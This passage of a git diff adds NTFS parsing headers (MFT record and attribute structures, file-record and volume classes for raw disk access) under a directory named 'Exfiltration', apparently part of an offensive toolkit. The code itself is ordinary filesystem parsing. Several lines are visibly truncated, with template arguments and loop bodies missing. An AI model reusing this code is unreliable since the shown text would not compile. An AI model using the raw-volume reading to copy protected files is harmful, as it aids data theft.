RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h new file mode 100644 index 00000000..5a232ff5 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList; + friend class CAttr_AttrList; +#else + template friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; iSectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList(ahc, this); + else + return new CAttr_AttrList(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data(ahc, this); + else + return new CAttr_Data(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const +{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + 